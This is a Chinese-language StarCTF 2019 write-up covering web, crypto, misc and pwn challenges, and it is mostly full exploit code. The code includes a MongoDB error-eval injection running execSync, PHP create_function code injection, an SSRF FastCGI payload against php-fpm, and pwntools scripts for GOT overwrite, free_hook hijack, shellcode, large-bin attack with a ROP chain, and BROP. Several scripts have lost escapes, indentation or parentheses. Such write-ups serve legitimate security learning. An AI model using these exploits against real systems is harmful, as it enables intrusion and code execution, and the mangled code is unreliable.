*CTF 2019 Writeup

*CTF(StarCTF) 2019: https://ctftime.org/event/778

Web

mywebsql

直接用admin / admin进后台,使用以下方式来GetShell。
https://nvd.nist.gov/vuln/detail/CVE-2019-7731

之后阻碍就是readflag,脚本处理。还是第一次看见readflag成为最大阻碍的CTF题……

<?php
function runCommand($cmd)
{
    $descriptors = [
        0 => array("pipe", "rw"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w"),
    ];
    $pipes = [];
    $process = proc_open($cmd, $descriptors, $pipes, __DIR__);
    $stderr = '';
    $stdout = '';
    if (is_resource($process)) {
        stream_set_blocking($pipes[2], FALSE);
        stream_set_blocking($pipes[1], FALSE);
        while (true) {
            if (!feof($pipes[1])) {
                $a = fgetc($pipes[1]);
                if ($a !== false) {
                    $stdout .= $a;
                    if (preg_match("/input your answer:/", $stdout)) {
                        $stdout = explode("first", $stdout)[1];
                        $stdout = explode("input", $stdout)[0];
                        $ret = eval('return ' . $stdout . ';');
                        echo $ret;
                        fwrite($pipes[0], $ret . "rn");
                        fflush($pipes[0]);
                        fclose($pipes[0]);
                    }
                }
            }
            if (feof($pipes[2]) && feof($pipes[1])) {
                break;
            }
        }
        fclose($pipes[1]);
        fclose($pipes[2]);
        $status = proc_close($process);
    }
    return [$stdout, $stderr, $status];
}

var_dump(runCommand('/readflag'));

996game

根据提示,得到游戏源码 https://github.com/Jerenaux/phaserquest 。发现其js/client直接暴露在公网,猜测js/server也同样可静态访问。之后直接down整站源码进行对比。

(右侧的代码因为我已经修改过,因此和原始代码不一样,懒得找原始的了)

那我们现在的目的就是让MongoDB报错,执行err.message里的代码了。(虽然感觉好无聊)

观察代码:

GameServer.loadPlayer = function(socket,id){
  GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){

通过loadPlayer可触发,唯一可控的点只有id。在前端,loadPlayer是点击“Play”时提交到服务器的,参数来源是localStorage。直接随便改改localStorage.playerID,就可以触发服务器报错。只是触发点不在回调里,而在new ObjectId里。

反正现在也不知道干啥,先绕过这个ObjectID的验证吧,看看能不能传string以外的东西,绕了以后再研究怎么让MongoDB报错。

先想办法发送任意数据。在控制台输入以下代码后“Start Game”即可解决。

Client.getPlayerID =  () => ('0123456789ab')
````

阅读代码:https://github.com/mongodb/js-bson/blob/V1.0.0/lib/bson/objectid.js#L30 要绕过的第一个点在``  var valid = ObjectID.isValid(id);``。往下拉,可发现
```javascript
      if(id.toHexString) {
    return id.id.length == 12 || (id.id.length == 24 && checkForHexRegExp.test(id.id));
  }

因此构造payload:

Client.getPlayerID =  () => ({ toHexString: 'aaa', id: {length: 12} })

之后会发现在序列化时出错:

具体代码:

for (var i = 0; i < this.id.length; i++) {
    hexString += hexTable[this.id.charCodeAt(i)];
}

构造Payload:

Client.getPlayerID =  () => ({ toHexString: 'aaa', length: 0, id: {length: 12} })

这样就可以传任意Object了,但是对如何报错还是没有头绪。根据主办方给的提示

db.a.find({"b":{"$gt":1,"c":"d"}})

得知,MongoDB解析Token时,内置的操作符必须放在最前面;在内置操作符之后的任何Key都无法被识别导致报错。由此构造Payload:

Client.getPlayerID =  () => ({ "$gt":1,"socket.emit(require('child_process').execSync('ls'))":"bb", toHexString: 'aaa', length: 0, id: {length: 12}})

发现这样就可以ls了。下一步是绕readflag……Nodejs的流处理这种事情有点麻烦,用Perl来搞合适些。直接抄了个脚本:https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md

最终Payload:

Client.getPlayerID =  () => ({ "$gt":1,[`process.chdir('/');socket.emit('aaa');socket.emit(require('child_process').execSync('perl -e \'use warnings;use strict;use IPC'+String.fromCharCode(58)+String.fromCharCode(58)+'Open2;$| = 1;chdir("/");my $pid = open2(*out2, *in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;\'').toString('utf-8'))`]:"bb", toHexString: 'aaa', length: 0, id: {length: 12}})

Echohub

首先先进行PHP解密,解密后的代码:

<?php
error_reporting(E_ALL ^ E_NOTICE);
require_once 'sandbox.php';
$seed = time();
srand($seed);
define('INS_OFFSET', rand(0x0, 0xffff));
$regs = array('eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0);
function aslr(&$a, $O0O)
{
    $a = $a + 0x60000000 + INS_OFFSET + 0x1;
}
$func_ = array_flip($func);
array_walk($func_, 'aslr');
$plt = array_flip($func_);


function handle_data($data)
{
    $len = strlen($data);
    $a = $len / 0x4 + 0x1 * ($len % 0x4);
    $ret = str_split($data, 0x4);
    $ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "x00");
    foreach ($ret as $key => &$value) {
         $value = strrev(bin2hex($value));
    }
    return $ret;
}

function gen_canary()
{
    $canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    $a = $canary[rand(0, strlen($canary) - 0x1)];
    $b = $canary[rand(0, strlen($canary) - 0x1)];
    $c = $canary[rand(0, strlen($canary) - 0x1)];
    $d = "x00";
    return handle_data($a . $b . $c . $d)[0];
}

$canary = gen_canary();
$canarycheck = $canary;
function check_canary()
{
    global $canary;
    global $canarycheck;
    if ($canary != $canarycheck) {
        die('emmmmmm...Don't attack me!');
    }
}

class stack
{
    private $ebp, $stack, $esp;
    public function __construct($a, $b)
    {
        $this->stack = array();
        global $regs;
        $this->ebp =& $regs['ebp'];
        $this->esp =& $regs['esp'];
        $this->ebp = 0xfffe0000 + rand(0x0, 0xffff);
        global $canary;
        $this->stack[$this->ebp - 0x4] =& $canary;
        $this->stack[$this->ebp] = $this->ebp + rand(0x0, 0xffff);
        $this->esp = $this->ebp - rand(0x20, 0x60) * 0x4;
        $this->stack[$this->ebp + 0x4] = dechex($a);
        if ($b != NULL) {
            $this->pushdata($b);
        }
    }

    public function pushdata($data)
    {
        $data = handle_data($data);
        for ($i = 0; $i < count($data); $i++) {
            $this->stack[$this->esp + $i * 0x4] = $data[$i];
            //no args in my stack haha
            check_canary();
        }
    }

    public function recover_data($data)
    {
        return hex2bin(strrev($data));
    }

    public function outputdata()
    {
        global $regs;
        echo 'root says: ';
        while (0x1) {
            if ($this->esp == $this->ebp - 0x4) {
                break;
            }
            $this->pop('eax');
            $data = $this->recover_data($regs['eax']);
            $ret = explode("x00", $data);
            echo $ret[0];
            if (count($ret) > 0x1) {
                break;
            }
        }
    }
    public function ret()
    {
        $this->esp = $this->ebp;
        $this->pop('ebp');
        $this->pop('eip');
        $this->call();
    }

    public function get_data_from_reg($item)
    {
        global $regs;
        $a = $this->recover_data($regs[$item]);
        $b = explode("x00", $a);
        return $b[0];
    }

    public function call()
    {
        global $regs;
        global $plt;
        $a = hexdec($regs['eip']);
        if (isset($_REQUEST[$a])) {
            $this->pop('eax');
            $len = (int) $this->get_data_from_reg('eax');
            $args = array();
            for ($i = 0; $i < $len; $i++) {
                $this->pop('eax');
                $data = $this->get_data_from_reg('eax');
                array_push($args, $_REQUEST[$data]);
            }
            call_user_func_array($plt[$a], $args);
        } else {
            call_user_func($plt[$a]);
        }
    }

    public function push($item)
    {
        global $regs;
        $data = $regs[$item];
        if (hex2bin(strrev($data)) == NULL) {
            die('data error');
        }
        $this->stack[$this->esp] = $data;
        $this->esp -= 0x4;
    }

    public function pop($item)
    {
        global $regs;
        $regs[$item] = $this->stack[$this->esp];
        $this->esp += 0x4;
    }

    public function __call($name, $args)
    {
        check_canary();
    }
}

print_R('O0OO0');
print_R('stack');
if (isset($_POST['data'])) {
    $phpinfo_addr = array_search('phpinfo', $plt);
    $gets = $_POST['data'];
    $main_stack = new stack($phpinfo_addr, $gets);
    echo '--------------------output---------------------</br></br>';
    $main_stack->outputdata();
    echo '</br></br>------------------phpinfo()------------------</br>';
    $main_stack->ret();
}

一看是个栈溢出,还带ASLR和Canary。从执行点看,应该溢出到call_user_func_array。根据phpinfo禁用的函数+PHP 7.3的版本,基本只能使用create_function配合代码注入来进行任意代码执行。

代码注入:https://www.exploit-db.com/exploits/32417

disable_functions:
file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv

溢出脚本如下,直接php -S来跑,将其作为代理来打服务器:

<?php
$seed=time();
srand($seed);
define('INS_OFFSET', rand(0x0, 0xffff));
var_dump(INS_OFFSET);
$regs = array('eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0);
function aslr(&$a, $O0O)
{
    $a = $a + 0x60000000 + INS_OFFSET + 0x1;
}
$func = get_defined_functions()["internal"];
$func_ = array_flip($func);
array_walk($func_, 'aslr');
$plt = array_flip($func_);

//var_dump($plt);
function handle_data($data)
{
    $len = strlen($data);
    $a = $len / 0x4 + 0x1 * ($len % 0x4);
    $ret = str_split($data, 0x4);
    $ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "x00");
    foreach ($ret as $key => &$value) {
        $value = strrev(bin2hex($value));
    }
    return $ret;
}
function gen_canary()
{
    $canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    $a = $canary[rand(0, strlen($canary) - 0x1)];
    $b = $canary[rand(0, strlen($canary) - 0x1)];
    $c = $canary[rand(0, strlen($canary) - 0x1)];
    $d = "x00";
    return handle_data($a . $b . $c . $d)[0];
}
function recover_data($data)
{
    return hex2bin(strrev($data));
}


$canary = gen_canary();

$phpinfo_addr = array_search('phpinfo', $plt);

$stack = array();
$ebp =& $regs['ebp'];
$esp =& $regs['esp'];
    $rand1 = rand(0x0, 0xffff);
$ebp = 0xfffe0000 + $rand1;
$stack[$ebp - 0x4] =& $canary;
    $rand2 = rand(0x0, 0xffff);
$stack[$ebp] = $ebp + $rand2;
    $rand3 = rand(0x20, 0x60);
$esp = $ebp - $rand3 * 0x4;
$stack[$ebp + 0x4] = dechex($phpinfo_addr);

$post_data  = str_repeat('aaaa', $rand3 - 1);           // 填充到 canary 前一个空间
$post_data .= hex2bin(strrev($canary));                 // 补上 canary
$post_data .= 'Rebp';                                   // random ebp
$bad_addr = array_search('create_function', $plt);

$post_data .= recover_data(dechex($bad_addr));          // function addr
$post_data .= "2x00x00x00";                          // create_function 需要两个参数
$post_data .= 'aaaa';                                   // 参数1
$post_data .= 'bbbb';                                   // 参数2
$post_data .= str_repeat('A', 400);
$data = $bad_addr.'=1&data=' . urlencode($post_data);
var_dump($data);
function post($url, $data){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

var_dump post('http://34.85.27.91:10080?cccc='.urlencode($_REQUEST['x']).'&xxxx='.urlencode($_REQUEST['a']).'&aaaa=&bbbb=1;}eval($_GET[cccc]);/*', $data));

现在可以RCE了,但是绕不过disable_functions。此时看他Dockerfilerun.sh

run.sh:

#!/bin/sh
service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity;

Dockerfile:

RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install

怎么说呢,其实有种强行出题的感觉。题目安装了所有PHP的扩展,自然也包括php7.3-fpm。在run.sh里还启用了所有服务,因此SSRF打fpm即可。

我们想让SSRF来帮我们跑:

<?php system('perl -e 'use warnings;use strict;use IPC::Open2;$| = 1;chdir("/");my $pid = open2(*out2, *in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;'');

先压缩一下:

<?php
echo base64_encode(gzdeflate('perl -e 'use warnings;use strict;use IPC::Open2;$| = 1;chdir("/");my $pid = open2(*out2, *in2, "./readflag") or die;my $reply = <out2>;print STDOUT $reply; $reply = <out2>;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = <out2>;print STDOUT $reply;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;$reply = <out2>;print STDOUT $reply;''));

然后丢进system:

<?php system(gzinflate(base64_decode("jY7BCsIwDIZfJRTBVZzDHVf1ohdPE9QHKFvcCrUraacIPrztHJ487BKS///+JBZJQ4ow7x3CU5JRpnEiDs6TqvzQHk/7oigtmlzM3rCFtajaWlHCMsbF/QUzq+ogd5FIFl3v8yUslAmVrTJCWd+0bBiHjqBWOCQIrX6FzCbSO2FJGQ/ny6G8XkZTTIPiMmncEymA+JA6+Tp8xMMbwH4IE1FIdzfduzbhYsqJf9qU3BRm/gE=")));

这就是我们最终要跑的代码。修改 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html 中的脚本,只保留其生成功能,去除其发包功能,得到以下payload:

AQE2ugAIAAAAAQAAAAAAAAEENroB3AAADgNDT05URU5UX0xFTkdUSDI4MwwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4dAsEUkVNT1RFX1BPUlQ5OTg1CwlTRVJWRVJfTkFNRWxvY2FsaG9zdBELR0FURVdBWV9JTlRFUkZBQ0VGYXN0Q0dJLzEuMA8OU0VSVkVSX1NPRlRXQVJFcGhwL2ZjZ2ljbGllbnQLCVJFTU9URV9BRERSMTI3LjAuMC4xDxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocAsXU0NSSVBUX05BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocAkfUEhQX1ZBTFVFYXV0b19wcmVwZW5kX2ZpbGUgPSBwaHA6Ly9pbnB1dA4EUkVRVUVTVF9NRVRIT0RQT1NUCwJTRVJWRVJfUE9SVDgwDwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwAUVVFUllfU1RSSU5HDxZQSFBfQURNSU5fVkFMVUVhbGxvd191cmxfaW5jbHVkZSA9IE9uDQFET0NVTUVOVF9ST09ULwsJU0VSVkVSX0FERFIxMjcuMC4wLjELF1JFUVVFU1RfVVJJL3Zhci93d3cvaHRtbC9pbmRleC5waHABBDa6AAAAAAEFNroBGwAAPD9waHAgc3lzdGVtKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCJqWTdCQ3NJd0RJWmZKUlRCVlp6REhWZjFvaGRQRTlRSEtGdmNDclVyYWFjSVByenRISjQ4N0JLUy8vLytKQlpKUTRvdzd4M0NVNUpScG5FaURzNlRxdnpRSGsvN29pZ3RtbHpNM3JDRnRhamFXbEhDTXNiRi9RVXpxK29nZDVGSUZsM3Y4eVVzbEFtVnJUSkNXZCswYkJpSGpxQldPQ1FJclg2RnpDYlNPMkZKR1Evbnk2RzhYa1pUVElQaU1tbmNFeW1BK0pBNitUcDh4TU1id0g0SUUxRklkemZkdXpiaFlzcUpmOXFVM0JSbS9nRT0iKSkpOwEFNroAAAAACg==

之后让PHP连上php-fpm.sock并发将payload发过去即可:

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');fputs($sock, base64_decode($_GET['xxxx']));var_dump(fread($sock, 4096));

最终Payload组合起来,如图所示。

Crypto

babyprng

通读代码. 可以知道要在随机序列stack中 取等量 1, 0 就可以得到flag.
提供了
保存 x00
IF x01
出栈 x02
x03
x04
异或 x05
向前跳
向后跳
获得等量 1, 0 序列可以采用 异或方式.

^ 1 1 => 1 0
^ 1 0 => 1 1

所以问题转化成如何使倒数第二位为1
这里采用的方式是 X Y
& X Y
| X Y
如果 Y 在运算后 依然为1, 则 X 必定为1. 写出流程
“`=0
03 &
04 |
01 IF
13 False Jmp 7
00 True Save to out
05 ^
33 JMP 4
02 POP
39 JMP 0

<pre><code class="line-numbers">exp
“`python
from pwn import *
import re
import hashlib
from base64 import b64encode
string.ascii_letters+string.digits
def solve_pow(arg1, arg2):
print (arg1, arg2)
for i0 in string.ascii_letters+string.digits:
for i1 in string.ascii_letters+string.digits:
for i2 in string.ascii_letters+string.digits:
for i3 in string.ascii_letters+string.digits:
i = i0+i1+i2+i3
hash = hashlib.sha256()
hash.update(str(i) + arg1.encode(‘utf-8’))
tmp = hash.hexdigest()
if tmp == arg2:
print (str(i))
return str(i)

p = remote(“34.92.185.118″,”10002″)
data = p.recvuntil(‘Give me XXXX:’)
print(data)
regex = r”+(.*)) == (.*)”

test_str = data
matches = re.finditer(regex, test_str, re.MULTILINE)
for matchNum, match in enumerate(matches, start=1):
p.sendline(solve_pow(match.group(1), match.group(2)))
print(match.group(1), match.group(2))

print(p.recvuntil(‘opcode(hex):’))
p.sendline(‘030401130005330239’)
print(p.recvline())
print(p.recvline())
print(p.recvline())

babyprng2

与第一题类似. 多了一个队列, 并且每次保存都会出栈, 不能像第一题无脑循环.
按 题1 思路, 依然是需要一个 1.
有以下循环

| 1 ? => 1 1
两次后可以得到 1 1 1
1 1 1 出 1
| 1 1 => 1 0 出 0
1 跳到第一步

最后payload为

01111206350606080306013606060803000400053a

Misc

She

使用cheat engine工具
修改存档打败boss后

9个房间每次开一个只能打开一个门,有一个bad door在touch后不能打开其他门,经测试在3号门得到数字3,在8号门得到数字7,在2号门得到数字1,在1号门得到数字2,在5号门得到数字6,在7号门得到数字9,9号门是bad door。剩下两个门打不开。得到六个数字后可进入一个房间,找到镜子。

人在镜子右边,说的是md5 decrypt
后来发现人站在镜子左边
镜子说的话又变了

猜测右边的是迷惑人的。
按得到的数字371269加密后发现不对,根据题目提示,Please combine numbers in the order of the rooms,改为213697进行md5加密,得到flag.

otaku

ichunqiu级别,无语凝噎。
binwalk -e直接解zip,把doc转docx接着解压提取出里面的隐藏字符,用GBK保存到文本文件。之后已知明文攻击提取密码My_Waifu,最后LSB隐写。

pwn

quick sort

利用思路:

gets覆盖ptr,导致任意写,修改free@got为main,将ptr修改为可泄露地址进行泄露,再次执行劫持atoi@gotsystem

from pwn import *
def main():
    # gdb.attach(p,"b *0x080488ED")
    # set free --> main
    got_free = 0x804a018
    main_addr = 0x80489C9
    payload = str(main_addr)
    payload = payload.ljust(16,"x00")
    payload += p32(1)+p32(0)*2+p32(got_free)
    p.recvuntil("how many numbers do you want to sort?")
    p.sendline("1")
    p.recvuntil("the 1th number:")
    p.sendline(payload)

    #leak libc
    stderr = 0x804a060
    p.recvuntil("how many numbers do you want to sort?")
    p.sendline("2")
    p.recvuntil("the 1th number:")
    payload = "-"+str(0x7fffffff)
    payload = payload.ljust(16,"x00")
    payload += p32(2)+p32(0)*2+p32(stderr-4)
    p.sendline(payload)
    p.recvuntil("the 2th number:")
    payload = "0"
    payload = payload.ljust(16,"x00")
    payload += p32(2)+p32(11)*2+p32(stderr)
    p.sendline(payload)
    p.recvuntil("Here is the result:n")
    libc_base = int(p.recvuntil(" ",drop=True))+0x100000000-0x1b2cc0
    info("libc : " + hex(libc_base))

    #atoi --> system
    p.recvuntil("how many numbers do you want to sort?")
    p.sendline("1")
    p.recvuntil("the 1th number:")
    payload = str(libc.symbols["system"]+libc_base-0x100000000)
    payload = payload.ljust(16,"x00")
    payload += p32(1)+p32(0)*2+p32(elf.got["atoi"])
    p.sendline(payload)

    p.recvuntil("how many numbers do you want to sort?")
    p.sendline("1")
    p.recvuntil("the 1th number:")
    p.sendline("/bin/sh")
    p.interactive()
if __name__ == "__main__":
    # p = process("./quicksort",env={"LD_PRELOAD":"./libc.so.6"})
    p = remote("34.92.96.238","10000")
    # p = process("./quicksort")
    elf = ELF("./quicksort")
    libc = ELF("./libc.so.6")
    main()

grilfriend

#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 0
libc_path = "./lib/libc.so.6"
if local:

    p = process("./chall_patch",env={"LD_PRELOAD":libc_path})
    context.binary = "./chall_patch"
    elf = context.binary
    libc = elf.libc
else:
    p = remote("34.92.96.238", 10001)
    libc = ELF(libc_path)

def new(size,content):
    p.sendlineafter("Input your choice:",'1')

    p.recvuntil("namen")
    p.sendline(str(size))
    p.recvuntil("name:n")
    p.sendline(content)
    p.recvuntil("call:n")
    p.sendline('0'*11)

def show(index):
    p.recvuntil("choice:")
    p.sendline('2')
    p.recvuntil("index:n")
    p.sendline(str(index))

def delete(index):
    p.recvuntil("choice:")
    p.sendline('4')
    p.recvuntil("index:n")
    p.sendline(str(index))

chunk_list = 0x202060
new(0x500,'a'*8)
new(0x60,'b'*8)
new(0x60,'b'*8)
new(0x60,'b'*8)
new(0x60,'b'*8)
delete(0)
show(0)
libc_base = (u64(p.recvuntil("phone:",drop=True)[-7:-1].ljust(8,"x00"))) - 0x3b1ca0
success("libc_base->{:#x}".format(libc_base))

delete(1)
delete(3)
show(3)

heap_base = u64(p.recvuntil("phone:",drop=True)[-7:-1].ljust(8,"x00")) - 0x7b0
success("heap_base->{:#x}".format(heap_base))
for i in range(10):
    new(0x68,'a'*8)
for i in range(10):
    delete(i+4)
delete(12)
#-------------
for i in range(7):
    new(0x68,'a')


new(0x68,p64(libc_base + 0x3b38c8))  ##free_hook
new(0x68,"/bin/shx00")
new(0x68,p64(libc_base + 0x41c30))  ## system
# gdb.attach(p,'''b mallocnb freenb* $0xF87''')
new(0x68, p64(libc_base + 0x41c30))
delete(13)

p.interactive()

upxofcpp

思路
upx加壳,主程序空间可读可写可执行
free的时候没有清空指针
node结构体中存在指向函数调用的func_table,通过构造使得func_table指到堆,使得*func_table的show函数指向堆上,在show函数指向的堆上构造shellcode

from pwn import *
context.update(os='linux', arch='amd64')

# p = process('./upxofcpp',env = {'LD_PRELOAD':'./libc-2.23.so'})
p = remote('34.92.121.149', 10000)

def new(idx,size,intg):
    string = ''
    p.sendlineafter('Your choice:','1')
    p.sendlineafter('Index:',str(idx))
    p.sendlineafter('Size:',str(size))
    for i in range(size):
        string += str(intg)+'n'
    print string
    p.sendafter('Input '+str(size)+' integers, -1 to stop:',string)

def free(idx):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter('vec index:',str(idx))

def show(idx):
    p.sendlineafter('Your choice:','4')
    p.sendlineafter('index:',str(idx))

new(0,2,2)
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:','1')
p.sendlineafter('Size:',str(6))
'''
push rax
pop rsi
push rcx
push rcx
pop rax
pop rdi
syscall
'''
payload = '0n'*2 + str(0x51515e50)+'n' + str(0x53415f58)+'n' + str(0x00050f5a) +'n' + str(0xdead)+'n'
p.sendafter('Input 6 integers, -1 to stop:',payload)
new(2,2,2)
free(1)
new(3,8,2)
free(0)

# gdb.attach(p,'cn')
show(0)

p.send('x90'*0x90 + asm(shellcraft.sh()))
p.interactive()

heap_master

注意
– libc是2.25的
– 远程没有bin目录,只能在程序内orw

利用思路
large bin attack 修改_IO_2_1_stdout_,导致泄露,之后再次large bin attack修改_IO_list_all获得一次任意地址call,从而将栈迁移到mmap的内存上,执行事先布置的ropchain

from pwn import *
context.update(os='linux', arch='amd64')

def g(off):
    return libc.address + off

def _add(p, size):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size: ', str(size))

def _edit(p, off, cont):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('offset: ', str(off))
    p.sendlineafter('size: ', str(len(cont)))
    p.sendafter('content: ', cont)

def _del(p, off):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('offset: ', str(off))

def exploit(host, port=60001):
    if host:
        p = remote(host, port)
        guess = 0x40
    else:
        p = process('./heap_master', env={'LD_PRELOAD':libc_path})
        gdb.attach(p, 'source ./gdb.script')
        guess = int(raw_input('guess?'), 0x10) << 4
        # guess = 0x50
    add = lambda x: _add(p, x)
    edit = lambda x,y: _edit(p, x, y)
    free = lambda x: _del(p, x)

    stdout = ((guess|6)<<8)# + 0x20

    offset = 0x8800-0x7A0

    edit(offset+8, p64(0x331)) #p1
    edit(offset+8+0x330, p64(0x31))
    edit(offset+8+0x360, p64(0x411)) #p2
    edit(offset+8+0x360+0x410, p64(0x31))
    edit(offset+8+0x360+0x440, p64(0x411)) #p3
    edit(offset+8+0x360+0x440+0x410, p64(0x31))
    edit(offset+8+0x360+0x440+0x440, p64(0x31))


    free(offset+0x10) #p1
    free(offset+0x10+0x360) #p2

    add(0x90)

    edit(offset+8+0x360, p64(0x101)*3)
    edit(offset+8+0x460, p64(0x101)*3)
    edit(offset+8+0x560, p64(0x101)*3)
    free(offset+0x10+0x370)
    add(0x90)
    free(offset+0x10+0x360)
    add(0x90)

    edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #p2->bk

    edit(offset+8+0x360+0x18, p64(0) + p16(stdout)) #p2->bk_nextsize

    free(offset+0x10+0x360+0x440) #p3

    add(0x90)

    p.recv(0x10)

    heap = u64(p.recv(8)) - 0x83c0
    info('heap @ '+hex(heap))

    libc.address = u64(p.recv(8)) - 0x39e5f0# + 0x1fe0
    info('libc.address @ '+hex(libc.address))

    # yet another large bin attack

    offset = 0x100

    edit(offset+8, p64(0x331)) #p1
    edit(offset+8+0x330, p64(0x31))
    edit(offset+8+0x360, p64(0x511)) #p2
    edit(offset+8+0x360+0x510, p64(0x31))
    edit(offset+8+0x360+0x540, p64(0x511)) #p3
    edit(offset+8+0x360+0x540+0x510, p64(0x31))
    edit(offset+8+0x360+0x540+0x540, p64(0x31))

    free(offset+0x10) #p1
    free(offset+0x10+0x360) #p2

    add(0x90)

    edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_IO_list_all']-0x10) + p64(0) + p64(libc.sym['_IO_list_all']-0x20))

    free(offset+0x10+0x360+0x540) #p3

    add(0x200)

    # trigger on exit()

    pp_j = g(0x10fa54) # pop rbx ; pop rbp ; jmp rcx
    p_rsp_r = g(0x3870) # pop rsp ; ret
    p_rsp_r13_r = g(0x1fd94) # pop rsp ; pop r13 ; ret
    p_rdi_r = g(0x1feea) # pop rdi ; ret
    p_rdx_rsi_r = g(0xf9619) # pop rdx ; pop rsi ; ret

    fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)
    _IO_str_jump = p64(libc.address + 0x39A500)

    orw = [
        p_rdi_r, heap,
        p_rdx_rsi_r, 0, 0,      
        libc.sym['open'],
        p_rdi_r, 3,
        p_rdx_rsi_r, 0x100, heap+0x1337,
        libc.sym['read'],
        p_rdi_r, 1,
        p_rdx_rsi_r, 0x100, heap+0x1337,
        libc.sym['write'],
    ]

    edit(0, './flagx00x00' + flat(orw))
    edit(offset+0x360+0x540, fake_IO_strfile)
    edit(offset+0x360+0x540+0xD8, _IO_str_jump)
    edit(offset+0x360+0x540+0xE0, p64(pp_j))

    info('b *'+hex(pp_j))

    p.sendlineafter('>> ', '0')

    p.interactive()

if __name__ == '__main__':
    libc_path = './lib/libc.so.6'
    libc = ELF(libc_path)
    exploit(args['REMOTE'])

blindpwn

BROP

溢出偏移是40
爆破可用的gadget

from pwn import *
# context.log_level = 'debug'
padding = "a"*40
def find_gadget(addr):
    fd = open("gadget.txt",'a')
    fd.write(hex(addr)+'n')
    fd.close()

for addr in range(0x400000,0x401AA0,0x1):
    p = remote("34.92.37.22",10000)
    p.recvuntil("pwn!n")
    passwd = padding + p64(addr)
    log.info("now addr is " + hex(addr))
    p.sendline(passwd)
    try:
        msg = p.recvrepeat(9)
        if(msg!= ""):
            log.success("find addr" + hex(addr))
            print msg
            find_gadget(addr)
            addrs.append(addr)
        p.close()
    except EOFError as e:
        p.close()
        log.info("connection close at " + hex(addr))
print addrs

leak 脚本↓

from pwn import *
context.update(os='linux', arch='amd64')

def leak(off):
    p = remote('34.92.37.22', 10000)
    rop = [
        p_rdi_r, 0,
        p_rsi_r13_r, 0x400000+off, 0,
        0x400515,
    ]
    p.sendafter('pwn!n', 'A'*40 + flat(rop))
    data = p.recv(0x100)
    p.close()
    return data

if __name__ == '__main__':
    p_rdi_r = 0x40077a+9
    p_rsi_r13_r = 0x40077a+7
    for x in xrange(0, 0x1000, 0x100):
        fp = open('blind', 'a')
        fp.write(leak(x))
        fp.close()

拿到elf文件之后,直接找到几个可用的gadgets进行利用

from pwn import *
context.update(os='linux', arch='amd64')

def v(x):
    return x+0x400000

def exploit(host='34.92.37.22', port=10000):
    p = remote(host, port)
    rop = [
        p_rdi_r, 1,
        p_rsi_r15_r, 0x601018, 0,
        write_plt,
        p_rdi_r, 0,
        p_rsi_r15_r, 0x601030, 0,
        read_plt,
        p_rdi_r, 0x601038,
        v(0x550),
    ]
    p.sendafter('pwn!n', 'A'*40 + flat(rop))
    write = u64(p.recv(8))
    setbuf = u64(p.recv(8))
    read = u64(p.recv(8))
    __libc_start_main = u64(p.recv(8))
    libc.address = read - libc.sym['read']
    info('libc @'+hex(libc.address))
